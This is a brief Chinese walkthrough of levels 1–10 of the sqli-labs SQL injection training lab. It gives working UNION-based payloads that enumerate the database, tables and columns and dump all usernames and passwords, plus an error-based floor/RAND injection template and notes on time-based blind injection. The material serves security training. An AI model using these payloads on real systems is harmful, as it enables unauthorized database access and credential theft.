sql-labs注入第1-10关
Less-1
输入/?id=1
登录页面正常。
Order by
对前面的数据进行排序,这里有三列数据,我们就只能用order by 3
,超过3就会报错。
order by 4--+
的结果显示结果超出。
爆数据库名
? id=-1' union select 1,2,database() --+
爆表名
?id=-1'%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--+
爆表user中的字段名
?id=0'%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'%20--+
爆所有的用户名与密码
/?id=0' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
Less-2
用--+
进行注入,order by 联合查询。
Less-3
闭合方式为')
。
Less-4
闭合方式为")
Less-5
输入?id=5
页面显示为
输入?id=5'
页面出现报错提示,这时可以用报错查询。
1.报错查询公式:AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((payload),FLOOR (RAND(0)*2))X FROM INFORMATION_SCHEMA.TABLES GROUP BY X)A)
2.其中payload为想要使用的sql语句,该语句最多输出64个字符。
3.在输出信息之后页面会额外输出一个1,这个1是floor报错语句中输出的一部分(无论输出什么结果,都会有这个1)。
4.有时子句中的输出超过了64个字符这是因为使用了group_concat()函数,group_concat()函数会将返回信息拼接成一行显示,所以可以用limit来限制输出。
5.之后在子句中就可以使用联合查询了,详细过程参考Less-1.
Less-6
'替换成"
Less-7
重点放在对id参数的处理和sql语句上。
Less-8
单引号闭合的时间延迟型盲注。
Less-9
单引号闭合的时间延迟型盲注。见Less-5
Less-10
双引号闭合的时间延迟型盲注。